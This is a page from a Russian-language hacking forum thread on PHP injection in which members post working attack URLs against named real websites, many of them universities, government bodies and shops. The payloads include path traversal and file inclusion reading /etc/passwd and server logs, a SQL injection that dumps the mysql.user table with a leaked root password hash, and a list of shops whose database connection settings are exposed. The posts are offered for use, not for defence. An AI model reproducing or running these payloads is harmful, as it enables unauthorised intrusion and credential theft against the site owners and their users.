PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,181
    Reputations:
    430
    Code:
    http://www.de-line.ru/?module=[url] 
    (без расширения)
     
  2. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    Sun Microsystems Laboratories Experimental
    Code:
    http://www.experimentalstuff.com/,id=6ieiid7rt5uuo12t2rmbnl?template.fileName=../../../../../../../../../../../../../../../etc/passwd
     
  3. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Code:
    http://web.mmc.edu.cn/jiangong/news/note/show.php?filename=../../../../../../../../../../../../../../../etc/passwd
    http://www.sdau.edu.cn/gongyuan/invite/show_temp.php?filename=../../../../../../../../../../../../../../../etc/passwd
    
     
  4. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    Code:
    http://www.savagewar.co.uk/index.php?page=../../../../../../../../../../../../../../../../../../../etc/passwd%00
     
    1 person likes this.
  5. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    www.hut2.ru - Лучший бесплатный хостинг сайтов в Сети (*Один из айпишек)
    Code:
    http://sungsm.hut2.ru/index.php?file=./../../../../../../../../../../../../../../../../../etc/passwd
    http://sungsm.hut2.ru/index.php?file=./../../../../../../../../../../../../../../../../../etc/hosts
    http://sungsm.hut2.ru/index.php?file=./../../../../../../../../../../../../../../../../../etc/services
    
     
  6. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Хостинг www.valuehost.ru
    Code:
    http://order.onehost.ru/order/index.php?hmid=-1004702225+union+select+1,2,3,4,5,6,7,concat_ws(0x2F,user,password),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+mysql.user/*
    Version:4.0.16-log

    admin:

    root 75dc61c73bae25f9
     
    2 people like this.
  7. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    www.viza-vi.com.ua/admin/download.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd
     
  8. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    www.adee.dental.tcd.ie - Association for Dental Education in Europe
    Code:
    http://adee.dental.tcd.ie/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd
    www.structures.ucsd.edu - Structural Engineering
    Code:
    http://structures.ucsd.edu/index.php?page=structural_engineering/../../../../../../../../../../../../../../../../../../../../etc/passwd%00
    www.studentmedia.ou.edu - Student Media
    Code:
    http://www.studentmedia.ou.edu/index.php?page=../../../../../../../../../../../../../../../../../../../etc/passwd
     
    #588 it's my, 15 Jan 2008
    Last edited: 15 Jan 2008
  9. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://www.library.lg.ua/rus/about_struktura.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd

    http://www.school.pc-manage.com.ua/index.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd
    http://www.school.pc-manage.com.ua/index.php?filename= http://www.planeta.ua/fc/templa..../../../../../../../../../../../../etc/passwd
     
    2 people like this.
  10. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://aileiscotch.ru/book/print.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd

    http://www.rkgrinn.ru/EnglishPub/englishpub.php?FileName=../../../../../../../../../../../../../../../../../../etc/passwd

    http://www.rkgrinn.ru/Saluun/saloon.php?FileName=../../../../../../../../../../../../../../../../../../etc/passwd

    http://tdlab.ru/print.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd

    http://ngo.pskov.ru/jewish/elef/index.php?filename=../../../../../../../../../../../../../../../../../../etc/passwd
     
  11. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://www.zsk-gazprom.ru/gallery/update/update5.php?lang= шелл должен быть на сервере, кото.../COLOR][/CODE] Со знаком вопроса на конце.
     
    #591 Tigger, 16 Jan 2008
    Last edited by a moderator: 16 Jan 2008
  12. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Клубничка...
    http://www.wannawatch.com/hosted/index.php?wm_login=tcg4free&cf=y&sub=&site=mrbigdickshotchicks_mov205&page=../../../../../../../etc/passwd
     
  13. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    http://www.minprom.bashkortostan.ru/_sfera.php?link= Министерство промышленности, инве...ики Республики Башкортостан может баян, хз
     
    4 people like this.
  14. ХаЬа

    ХаЬа Banned

    Joined:
    18 Jan 2008
    Messages:
    6
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://www.ssga.ru/lidar/index.php?flag=14&file=../../../../../../../../../../../../../../../../../../../etc/passwd
     
  15. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Shop-Script 1.0

    Когда-то нагуглил несколько уязвимых шопов, хз какие еще актуальны- кому не лень, проверьте:

    3000.com.ua
    dinaris.dp.ua
    dmcoins.ru
    gokom.ru
    lidashoes.ru
    philatelist.ru
    pokupka.net.ua
    rosspen.ru
    smolotka.kiev.ua
    tetramet.ru
    vastudio.ru
    velomot.com
    vitlen.com.ua
    vliga.irkutsk.ru
    x-group.kiev.ua

    Уязвимый скрипт с параметром:
    /index.php?aux_page=../cfg/connect.inc.php
    В исходнике страницы выводит настройки подключения к mysql
     
  16. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Боевой пример инклуда логов:
    Code:
    http://www.tcnj.edu/~acm/digitalfortress/?id=../../../../../../../../../../local/apps/packages/apache-2.0.59/logs/access_log%00
    
     
    1 person likes this.
  17. frigid20

    frigid20 Member

    Joined:
    19 Jan 2008
    Messages:
    19
    Likes Received:
    6
    Reputations:
    5
    Code:
    http://www.physics.wustl.edu/Fac/facDisplayPopUp.php?name=../../../../../../etc/passwd
     
  18. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    а вот от меня коллекция!!!
    http://www.francismontagnet.com/site.php?page=[INCLUDE]&contentTag=TSS-video.html - UNIX
    http://eugeneciurana.com/site.php?page=[INCLUDE]&contentTag=TSS-video.html - UNIX
    http://www.sql-articles.com/index.php?page=[INCLUDE] - UNIX
    http://www.speedcalibrator.com/template.php3?page=[INCLUDE] - UNIX
    http://www.motophoto.com/content_demo/window.php3?section=11&page=[INCLUDE] - UNIX
    http://www.izetit.de/index_projekte.php?page=[INCLUDE] - UNIX
    http://www.timetech.de/index.php?page=[INCLUDE] - UNIX
    http://www.autocad-magazin.de/index.php3?page=[INCLUDE]&naechster=10230 - UNIX
    http://www.tux-saar.de/pages/main.php3?page=[INCLUDE] - UNIX
    http://tangerinos.free.fr/photos/index.php3?page=[INCLUDE]&categories=03_Ecoles-Colegios&galeries=01_Ecole%20Berchet&ppp=12 - UNIX
    http://www.planetemulator.free.fr/galeries/index.php3?page=[INCLUDE]&categories=Stars%20du%20X&galeries=Clara%20Morgane&ppp=12 - UNIX
    http://clubrandocar.free.fr/kdpics/index.php3?page=[INCLUDE]&categories=Randocar&galeries=Randocar%20a%20vendre&ppp=12 - UNIX
    http://www.serviceformulaire.fr/html/menu.phtml?page=[INCLUDE] - WIN
    Юзайте на здоровье
     
    #598 satana8920, 29 Jan 2008
    Last edited: 29 Jan 2008
    1 person likes this.
  19. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    два инклуда интересненьких
    HTML:
    http://www.longislandhshockey.net/cgi-bin/anyboard.cgi?fvp=/forum&cmd=retr&vf=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D
    HTML:
    http://www.stylishfetish.com/cgi-bin/anyboard.cgi/board/forum/-=ab=-/index.html?cmd=retr&vf=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D
    :cool: :cool: :cool:
     
    #599 satana8920, 11 Feb 2008
    Last edited: 11 Feb 2008
  20. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    Code:
    http://www.gentek.co.kr/index.php?option=com_board&bbs_id=notice&Itemid=99999999&requiredfile=../../../../../../../../../../../../etc/passwd
    http://eng.pharmaceutical.co.kr/index.php?option=com_board&bbs_id=notice&Itemid=99999999&requiredfile=../../../../../../../../../../../../etc/passwd
    http://gentech.ibuilder.co.kr/index.php?option=com_board&bbs_id=notice&Itemid=99999999&requiredfile=../../../../../../../../../../../../etc/passwd
     
    1 person likes this.